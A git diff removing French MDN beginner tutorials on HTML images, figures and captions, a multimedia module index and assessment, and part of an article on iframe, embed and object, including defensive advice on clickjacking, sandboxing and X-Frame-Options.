C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS.  Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ?

- -

Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelement("figure")}} et {{htmlelement("figcaption")}} . Ils ont été conçus pour cela : fournir un conteneur sémantique aux objets et lier clairement cet objet à sa légende. Notre exemple précédent pourrait être réécrit comme ceci :

- -
<figure>
-  <img src="images/dinosaur.jpg"
-       alt="The head and torso of a dinosaur skeleton;
-            it has a large head with long sharp teeth"
-       width="400"
-       height="341">
-
-  <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption>
-</figure>
- -

L'élément {{htmlelement("figcaption")}}  dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément {{htmlelement("figure")}}.

- -
-

Note: D'un  point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte alt devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble.

-
- -

Un objet <figure> n'est pas forcé de contenir une image. C'est une unité de contenu indépendante qui :

- - - -

Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses.

- -

Pédagogie active : créer un objet figure

- -

Dans cette section, nous allons vous demander de récupérer le code fini de la section "Pédagogie active" précédente et d'y faire ceci :

- - - -

Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton  Reset .  Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton Show solution :

- - - -

{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}

- -

Images d'arrière-plan CSS

- -

Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et background , sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci :

- -
p {
-  background-image: url("images/dinosaur.jpg");
-}
- -

Le résultat est probablement plus facile à positionner et contrôler qu'une image HTML. Donc, pourquoi s'ennuyer avec des images HTML ?... Comme il y est fait allusion au-dessus, les images CSS sont là seulement pour la décoration. Si vous voulez ajouter quelque chose d'agréable à votre page pour en enrichir le visuel, c'est étudié pour. Mais, ces images n'ont pas d'indication sémantique. Elles ne peuvent pas avoir d'équivalent texte, sont invisibles aux lecteurs d'écran, etc... C'est le moment, pour l'image HTML, de se mettre en valeur !

- -

En résumé : si une image a du sens, en terme de contenu, vous devriez utiliser une image HTML. Si une image n'est que pure décoration, il vaut mieux utiliser les images d'arrière-plan CSS.

- -
-

Note: Vous en apprendrez beaucoup plus sur les  CSS background images dans notre topic  CSS .

-
- -

C'est tout pour l'instant. Nous avons découvert en détails les images et légendes. Dans le prochain article, nous monterons en régime pour aborder la manière d'utiliser HTML pour intégrer des vidéos et de l'audio dans une page web.

- -

{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}

- -

Dans ce module :

- - diff --git a/files/fr/apprendre/html/multimedia_and_embedding/index.html b/files/fr/apprendre/html/multimedia_and_embedding/index.html deleted file mode 100644 index bcb6a30361..0000000000 --- a/files/fr/apprendre/html/multimedia_and_embedding/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Multimédia et Intégration -slug: Apprendre/HTML/Multimedia_and_embedding -tags: - - Apprentissage - - Audio - - Codage - - Débutant - - Evaluation - - Flash - - Guide - - HTML - - Image Vectorielle - - Images - - Interactivité - - SVG - - Video - - iframes - - imagemaps -translation_of: Learn/HTML/Multimedia_and_embedding ---- -

{{LearnSidebar}}

- -

Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte.  Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. 

- -

Prérequis

- -

Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : introduction au HTML. Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer.

- -
-

Note : Si vous travaillez sur une tablette, ordinateur ou autre périphérique où vous n'auriez pas la capacité de créer vos propres fichiers, sachez que vous pouvez tester (la plupart) de vos lignes de code sur des programmes en ligne comme JSBin ou Thimble.

-
- -

Guides

- -

Ce module contient les articles suivants, qui vous guideront à travers les fondamentaux de l'intégration multimedia sur une page web.

- -
-
Images en HTML
-
Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est  l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè  aux images d'arrière-plan de CSS.
-
Vidéo et contenu audio
-
Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs,  enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens.
-
De <object> à <iframe> — autres techniques d'intégration
-
À ce stade, nous aimerions faire un pas de côté, en examinant quelques éléments qui vous permettent d'intégrer une grande variété de types de contenu dans vos pages web : les éléments {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} et {{HTMLElement("object")}}. <iframe> est fait pour intégrer d'autres pages web, les deux autres vous autorisent à faire de même pour les PDFs, SVG, et même Flash — une technologie en voie de disparition, mais que vous pouvez encore voir de façon semi-régulière.
-
Ajouter des images vectorielles sur le Web 
-
Les images vectorielles peuvent être très utiles dans certaines situations. Contrairement aux formats classiques comme le PNG/JPG, elles ne se déforment pas lorsqu'on les agrandit et peuvent rester lisses lorsqu'on les met à l'échelle. Cet article vous présente ce que sont les images vectorielles et comment inclure le populaire format {{glossary("SVG")}} dans les pages web.
-
Images adaptatives
-
-

Dans cet article, nous allons découvrir le concept d'images adaptatives — des images qui fonctionnent bien sur des appareils dont les tailles d'écran, les résolutions et autres caractéristiques sont très différentes — et examiner les outils fournis par HTML pour aider à les mettre en œuvre. Cela permet d'améliorer les performances des différents appareils. Les images adaptatives ne sont qu'une partie du responsive design, un futur sujet CSS que vous pourrez apprendre.

-
-
- -

Évaluations

- -

Les évaluations qui suivent sont là pour tester votre compréhension des bases du HTML traitées dans les guides ci-dessus.

- -
-
Évaluation : page d'accueil Mozilla
-
Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla !
-
- -

À voir aussi

- -
-
Intégrer une carte interactive en haut d'une image
-
Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité.
-
Web Principes fondamentaux 2
-
-

Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module :  Multimedia et intégration. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). 

-
-
diff --git a/files/fr/apprendre/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/fr/apprendre/html/multimedia_and_embedding/mozilla_splash_page/index.html deleted file mode 100644 index 26193c8bac..0000000000 --- a/files/fr/apprendre/html/multimedia_and_embedding/mozilla_splash_page/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: 'Évaluation : page d''accueil Mozilla' -slug: Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page -translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}
- -

Dans cette partie, nous testerons vos connaissances des quelques techniques abordées dans les articles de ce module, en vous demandant d'ajouter des images et des vidéos à une super page d'accueil entièrement dédiée à Mozilla !

- - - - - - - - - - - - -
Prérequis :Avant de vous attaquer à cette étude, vous devriez avoir déjà travaillé sur les paragraphes précédents composant le module Multimedia et Intégration.
Objectif:Tester vos connaissances sur l'intégration d'images et vidéos dans des pages web ainsi que des techniques d'images adaptatives (images "responsive").
- -

Point de départ

- -

Pour démarrer cette étude, vous devez aller chercher toutes les images et l'HTML disponibles dans le répertoire mdn-splash-page-start sur github. Mettez le contenu du fichier index.html dans un fichier appelé index.html sur votre disque dur local, dans un nouveau répertoire. Puis copiez pattern.png dans le même dossier (clic droit sur l'image pour le menu des options).

- -

Allez dans le répertoire originals chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser.

- -
-

Note: le fichier HTML en exemple contient un bon nombre de CSS, pour styliser la page. Vous n'avez pas besoin de modifier le CSS, juste l'HTML dans l'élément {{htmlelement("body")}} — tant que vous insérez les bonnes balises, le style sera cohérent.

-
- -

Énoncé du projet

- -

Dans cette étude, nous vous présentons une page d'accueil Mozilla quasiment finie, qui a pour but de définir, en des termes agréables et intéressants, les objectifs de Mozilla et de fournir des liens vers des ressources supplémentaires. Malheureusement, aucune image ni vidéo n'a été ajoutée pour l'instant — c'est votre boulot ! Vous devez ajouter des choses qui donnent du sens à la page et la rendent belle. Les sous-sections suivantes détaillent ce que vous aurez besoin de faire :

- -

Préparer les images

- -

Avec votre éditeur d'images favori, créez des versions de 400 et 120 px de large de :

- - - -

Donnez-leur des noms similaires comme :  firefoxlogo400.png et firefoxlogo120.png.

- -

Continuons avec mdn.svg, ces images seront vos icônes pour lier aux ressources externes, contenues dans l'espacefurther-info. Vous ferez aussi un lien vers le logo firefox dans l'en-tête du site. Réservez toutes ces copies dans le même dossier que l'index.html.

- -

Puis, créez une version paysage de 1200px de large de red-panda.jpg, et une version portrait de 600px de large qui montre le panda en gros plan. Encore une fois, nommez-les de manière similaire pour les identifier facilement. Réservez toutes ces copies dans le même dossier que l'index.html.

- -
-

Note: Vous devriez optimiser vos images JPG et PNG pour les rendre le plus petit possible tout en restant de bonne qualité. tinypng.com est une bonne aide pour faire ça aisément.

-
- -

Ajouter un logo à l'en-tête

- -

A l'intèrieur de l'élément {{htmlelement("header")}} , ajoutez un élément {{htmlelement("img")}} qui intégrera une petite version du logo firefox dans l'en-tête.

- -

Ajouter une vidéo dans le contenu principal de l'article

- -

Dans l'élément {{htmlelement("article")}}  (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : https://www.youtube.com/watch?v=ojcNcvb1olg, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large.

- -

Ajouter des images adaptatives aux liens vers les ressources externes

- -

Dans l'élément {{htmlelement("div")}} de la catégorie further-info vous trouverez quatre autres éléments {{htmlelement("a")}} — chacun d'eux liant vers une page intéressante traitant de Mozilla. Pour compléter cette section, vous devrez insérer un élément {{htmlelement("img")}} dans ceux contenant les attributs {{htmlattrxref("src", "img")}}, {{htmlattrxref("alt", "img")}}, {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} adéquats.

- -

Dans tous les cas (sauf un — lequel serait naturellement adaptatif ?) nous voulons que le navigateur desserve la version 120px de large quand la largeur du cadre est de 480px ou moins, ou la version 400px de large dans les autres cas.

- -

Assurez-vous de faire correspondre les bonnes images avec les liens corrects !

- -
-

Note: Pour tester correctement les exemples srcset/sizes, vous devez charger votre site sur un serveur (utiliser Github pages est une solution simple et gratuite), ensuite vous pouvez tester si tout se déroule correctement en utilisant des outils de développeur, comme expliqué dans Responsive images: useful developer tools.

-
- -

Un panda rouge créatif

- -

Dans l'élément {{htmlelement("div")}} de la catégorie red-panda, nous voulons insérer un élément {{htmlelement("picture")}} qui affiche le petit portrait du panda si le cadre est de 600px de large, ou moins, et le paysage dans les autres cas.

- -

Exemple

- -

La capture d'écran suivante montre à quoi devrait ressembler la page d'accueil aprés avoir été correctement balisée, avec un affichage large et un étroit.

- -

A wide shot of our example splash page

- -

A narrow shot of our example splash page

- -

Évaluation

- -

Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le  fil de discussion concernant cet exercice, ou sur le canal IRC #mdn sur Mozilla IRC. Essayez de faire l'exercice d'abord — On ne gagne rien en trichant !

- -

{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

- -

 

- -

Dans ce module :

- - - -

 

diff --git a/files/fr/apprendre/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/fr/apprendre/html/multimedia_and_embedding/other_embedding_technologies/index.html deleted file mode 100644 index d90d486303..0000000000 --- a/files/fr/apprendre/html/multimedia_and_embedding/other_embedding_technologies/index.html +++ /dev/null @@ -1,402 +0,0 @@ ---- -title: Des objets aux « iframe » — autres techniques d'intégration -slug: Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies -tags: - - Apprentissage - - Article - - Codage - - Débutant - - Flash - - Guide - - HTML - - Integration - - Multimédia et intégration - - Object - - embed - - iframe -translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}
- -

Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les  <iframe> servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement.

- - - - - - - - - - - - -
Prérequis :Compétences informatiques de base,  installation des outils de base, bases de la manipulation des fichiers, connaissance des fondamentaux du HTML (comme expliqué dans  Commencer avec le HTML) et articles précédents de ce module.
Objectif :Apprendre comment incorporer des éléments, tels que d'autres pages ou des clips Flash,  dans des pages Web à l'aide de {{htmlelement("object")}}, {{htmlelement("embed")}}, et {{htmlelement("iframe")}}.
- -

Une courte histoire de l'intégration

- -

Il y a longtemps, sur le Web, il était courant d'utiliser des cadres pour créer des sites Web - des petites parties de site Web stockées dans des pages HTML individuelles. Ces cadres étaient intégrés dans un document maître appelé frameset (ensemble de cadres) qui permettait de préciser la zone de l'écran que chaque cadre devait occuper, un peu comme le dimensionnement de colonnes et de lignes dans un tableau. Cette technique a été considérée comme le summum de la zénitude du milieu des années 90 jusqu'à leur fin. Il était évident qu'une page Web éclatée en petits morceaux était meilleure pour la vitesse du téléchargement — et tout à fait remarquable avec des connexions réseau si lentes à l'époque. Cette façon de procéder posait cependant de nombreux problèmes, qui l'emportaient de loin sur tout ce qui était positif à mesure que la vitesse du réseau s'accélérait, de sorte que vous ne la verrez plus utilisée.

- -

 

- -

Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les applets Java et Flash — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner.

- -

Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il  est régulièrement utilisé aujourd'hui.

- -

Maintenant que la leçon d'histoire est terminée, passons à autre chose et voyons comment utiliser certains d'entre eux.

- -

 

- -

Apprentissage actif : utilisations classiques de l'intégration

- -

Dans cet article, passons directement à l'apprentissage actif pour vous donner tout de suite une idée concrète de l'utilité des techniques d'intégration. Le monde en ligne connaît très bien Youtube, mais beaucoup de gens ne connaissent pas les facilités de partage dont il dispose. Voyons comment Youtube nous permet d'intégrer une vidéo dans toute page qui nous plairait à l'aide d'un élément {{htmlelement("iframe")}}}.

- -
    -
  1. D'abord, allez sur Youtube et choisissez une vidéo qui vous plaise.
    2. -
  2. Au‑dessous de la vidéo, vous devez trouver un bouton Share (Partager) — cliquez‑le pour afficher les options de partage.
    3. -
  3. Sélectionnez le bouton Embed (Intégrer) et vous obtiendrez un morceau de code <iframe> — copiez‑le.
    4. -
  4. Inserez ce code dans la boîte Input ci‑dessous, et voyez le résultat dans Output.
    5. -
- -

En prime, vous pouvez aussi essayer d'intégrer une carte Google Map dans l'exemple.

- -
    -
  1. Allez sur Google Maps et trouvez une carte qui vous plaise.
    2. -
  2. Cliquez sur le  « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur.
    3. -
  3. Selectionnez l'option Share or embed map (Partager ou intégrer une carte).
    4. -
  4. Selectionnez l'option Embed map (intégrer une carte), qui vous fournira du code <iframe> — copiez‑le.
    5. -
  5. Inserez‑le dans la boîte Input di‑dessous et voyez le résultat dans Output.
    6. -
- -

Si vous faites une erreur, vous pouvez toujours réinitialiser le tout avec le bouton Réinitialiser. Si vous êtes vraiment bloqué, pressez le bouton Afficher la solution pour voir la réponse.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}

- -

Iframes en détail

- -

Alors, facile et amusant, non ? Les éléments {{htmlelement("iframe")}} sont conçus pour intégrer d'autres documents Web dans le document en cours de traitement. C'est ce qu'il y a de mieux pour incorporer des contenus tierce‑partie dans un site Web, contenus sur lesquels vous n'aurez peut‑être pas de contrôle direct, mais pour lesquels vous ne voulez pas implémenter votre propre version — comme une vidéo de fournisseurs de vidéo en ligne, un système de commentaires comme Disqus, des cartes de fournisseurs en ligne, des bandeaux publicitaires, etc. Les exemples modifiables en direct utilisés dans ce cours ont été implémentés avec des <iframe>.

- -

Il y a de sérieux {{anch("problèmes de sécurité")}} à prendre en considération avec <iframe>, comme nous le verrons plus loin, mais cela ne veut pas dire que vous ne devez pas les utiliser dans vos sites Web — cela demande juste un peu de connaissance et de soin à la conception. Examinons le code un peu plus en détail. Disons que vous voulez intégrer le glossaire MDN dans une de vos pages Web — vous pourriez tenter quelque chose comme :

- -
<iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
-        width="100%" height="500" frameborder="0"
-        allowfullscreen sandbox>
-  <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary">
-    Lien de repli pour les navigateurs ne prenant pas en charge iframe  </a> </p>
-</iframe>
- -

Cet exemple inclut les éléments de base essentiels nécessaires à l'utilisation d'un <iframe> :

- -
-
{{htmlattrxref('allowfullscreen','iframe')}}
-
Si activé, <iframe> pourra être mis en mode plein écran avec Full Screen API (un peu hors‑sujet dans cet article).
-
{{htmlattrxref('frameborder','iframe')}}
-
Si défini à la valeur 1, demande à l'explorateur de tracer une bordure entre cadres, c'est le comportement par défaut. 0 supprime la bordure. L'utilisation d'un tel attribut n'est plus trop recommandée, car le même résultat peut être obtenu en mieux avec {{cssxref('border')}}: none; dans le {{Glossary('CSS')}}.
-
{{htmlattrxref('src','iframe')}}
-
Cet attribut, comme  avec {{htmlelement("video")}} ou {{htmlelement("img")}}, contient un chemin vers l'URL du document à intégrer.
-
{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}
-
Ces attributs définissent la largeur et la hauteur souhaitée pour <iframe>.
-
Contenu de repli
-
Comme pour d'autres éléments semblables, tels {{htmlelement("video")}}, vous pouvez préciser un contenu de repli entre les balises ouvrantes et fermantes <iframe></iframe> qui seront affichées si l'explorateur ne prend pas en charge <iframe>. Dans notre cas nous avons mis un lien vers une page. Il est peu vraisemblable que vous rencontriez de nos jours un explorateur qui ne prenne pas en charge <iframe>.
-
{{htmlattrxref('sandbox','iframe')}}
-
Cet attribut n'est fonctionnel que dans des explorateurs un peu plus récents, contrairement aux autres attributs de  <iframe> (par ex. IE 10 et au‑delà). Il requiert des paramètres de sécurité renforcés ; nous vous en disons plus dans le paragraphe suivant.
-
- -
-

Note : Afin d'améliorer la vitesse, il est pertinent de définir l'attribut src de iframe avec JavaScript après que le chargement du contenu principal est effectué. La page est utilisable plus tôt et le temps de chargement officiel de la page est diminué (une métrique {{glossary("SEO")}} importante).

-
- -

Problèmes de sécurité

- -

Nous avons dit plus haut qu'il y avait des problèmes en matière de sécurité — entrons maintenant un peu plus dans le détail. Nous ne nous attendons pas à cette problèmatique vous soit parfaiment claire dès la première lecture ; nous voulons simplement vous y sensibiliser et fournir un point de référence auquel vous pourrez revenir quand vous aurez plus d'expérience et commencerez à prévoir l'utilisation de <iframe> dans vos travaux et expérimentations. Car, il n'y a pas de craintes inutiles à avoir et refuser d'utiliser <iframe> — il faut juste être prudent. Poursuivons ...

- -

Fabricants de navigateurs et développeurs Web ont appris à la dure que <iframe> constitue sur le Web une cible commune (terme officiel : un vecteur d'attaque) pour des personnes mal intentionnées (souvent appelés hackeurs (pirates), ou plus exactement, crackeurs).  <iframe> est une porte d'entrée pour les attaques de ces personnes quand ils essaient de modifier malicieusement une page Web ou d'amener des utilisateurs à faire quelque chose qu'ils ne voudraient pas faire, comme révéler des informations confidentielles comme noms d'utilisateur et mots de passe. Pour cette raison, les ingénieurs spécialistes et les développeurs de navigateurs ont développé divers mécanismes de sécurité pour rendre <iframe> plus sûr. De meilleures pratiques sont aussi à prendre en compte — nous allons développer certaines d'entre elles ci-dessous.

- -
-

Le {{interwiki('wikipedia','détournement de clic')}} est un type d'attaque courant par l'intermédiaire de <iframe> : les hackeurs incorporent un <iframe> invisible dans votre document (ou intégrent votre document dans leur propre site malveillant) et s'en servent pour capturer les interactions utilisateur. C'est un moyen courant pour tromper des utilisateurs ou voler leurs données confidentielles.

-
- -

Un exemple rapide d'abord - essayez de charger l'exemple précédent que nous avons montré ci-dessus dans votre navigateur - vous pouvez le trouver en direct sur Github (voyez le code source aussi). Vous ne verrez rien d'affiché sur la page, et si vous regardez la Console dans les outils de développement du navigateur, vous verrez un message vous disant pourquoi. Dans Firefox, ce message indique Load denied by X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary does not permit framing (Chargement interdit par X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary ne permet pas la mise en cadre) . C'est parce que les développeurs qui ont construit MDN ont inclus un paramètre sur le serveur des pages du site empêchant l'intégration de ces pages sur un autre site avec <iframe> (voir {{anch("Configurer les directives CSP")}}, ci-dessous). Parfaitement sensé — il n'y a aucune raison d'intégrer une page entière de MDN dans d'autres pages, sauf à vouloir les intégrer dans votre site et les prétendre vôtres, ou bien tenter de voler des données par l'intermédiaire d'un détournement de clic, actions qui sont tous les deux des malhonnêtetés. De plus, si tout le monde se mettait à faire cela, toute la bande passante supplémentaire nécessaire commencerait à coûter un paquet d'argent à Mozilla.

- -

N'intégrer que si nécessaire

- -

Il est parfois judicieux d'intégrer un contenu tiers — comme une vidéo YouTube ou des cartes — mais vous pouvez vous éviter bien des maux de tête si vous n'intégrez du contenu tierce partie qu'en cas de nécessité. Pour la sécurité sur le Web, voici une bonne règle d'or : "On n'est jamais trop prudent. Si vous l'avez fait, vérifiez quand même. Si quelqu'un d'autre l'a fait, supposez que c'est dangereux jusqu'à preuve du contraire."

- -

Outre la sécurité, vous devez également prendre en considération les questions de propriété intellectuelle. La plupart des contenus sont protégés par des droits d'auteur, hors ligne et en ligne, même du contenu auquel vous ne vous attendez pas (par exemple, la plupart des images sur Wikimedia Commons). N'affichez jamais de contenu sur votre page Web à moins que vous en soyez propriétaire ou que les propriétaires vous aient donné une autorisation écrite sans équivoque. Les sanctions en cas de violation du droit d'auteur sont sévères. Encore une fois, on n'est jamais trop prudent.

- -
-

Si le contenu est sous licence, vous devez en respecter les termes. Par exemple, le contenu de MDN est sous licence CC-BY-SA. Cela signifie que vous devez correctement porter à notre crédit toute citation de notre contenu, même si vous y apportez des modifications substantielles.

-
- -

Utilisez HTTPS

- -

{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez alimenter vos serveurs Web en utilisant HTTPS chaque fois que c'est possible :

- -
    -
  1.     HTTPS réduit les risques d'altération du contenu distant lors du transfert,
    2. -
  2.     HTTPS empêche le contenu intégré d'accéder à celui du document parent, et inversement.
    3. -
- -

L'utilisation de HTTPS nécessite un certificat de sécurité, ce qui peut être coûteux (bien que Let's Encrypt facilite les choses) — si vous ne pouvez pas en obtenir un, vous pouvez charger votre document parent sur le serveur en HTTP. Cependant, en raison de la deuxième fonctionnalité de HTTPS indiquée ci-dessus, et dans ce cas les histoires de coût n'interviennent plus, vous ne devez jamais intégrer du contenu tierce partie avec HTTP (dans le meilleur des cas, le navigateur Web de votre utilisateur lui affichera un avertissement effrayant). Toutes les sociétés sérieuses, rendant leur contenu disponible pour une intégration via un <iframe>, le rendront disponible avec HTTPS — regardez les URLs à l'intérieur de l'attribut src de <iframe> lorsque vous intégrez du contenu Google Maps ou YouTube, par exemple.

- -
-

Note: Github pages allows content to be served via HTTPS by default, so is useful for hosting content. If you are using different hosting and are not sure, ask your hosting provider about it.

-
- -

Toujours utiliser l'attribut  sandbox

- -

Pour minimiser la possibilité que des attaquants commettent des actions néfastes  sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il  fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un sandbox (bac à sable).

- -

Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut sandbox sans paramètres, comme montré dans notre exemple précédent.

- -

Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut sandbox="") — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez jamais mettre à la fois les valeurs allow-scripts et allow-same-origin aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ».

- -
-

Note : Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un <iframe>). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}.

-
- -

Configurer  les directives CSP

- -

{{Glossary("CSP")}} est un acronyme pour « content security policy » (politique de sécurité du contenu) ; les directives CSP fournissent un ensemble d'en‑têtes HTTP (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les <iframe>, vous pouvez configurer votre serveur pour qu'il adresse une en‑tête appropriée X-Frame-Options. Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut.

- -
-

Note : Lisez le post de Frederik Braun sur On the X-Frame-Options Security Header pour plus d'informations sur le fond de ce sujet. Manifestement, une explication complète est hors des limites de cet article.

-
- -

Les éléments <embed> et <object>

- -

Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images !

- -
-

Note : Un greffon est un logiciel qui permet d'avoir accès à des contenus que le navigateur n'est pas capable de lire de manière native.

-
- -

Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise.

- -

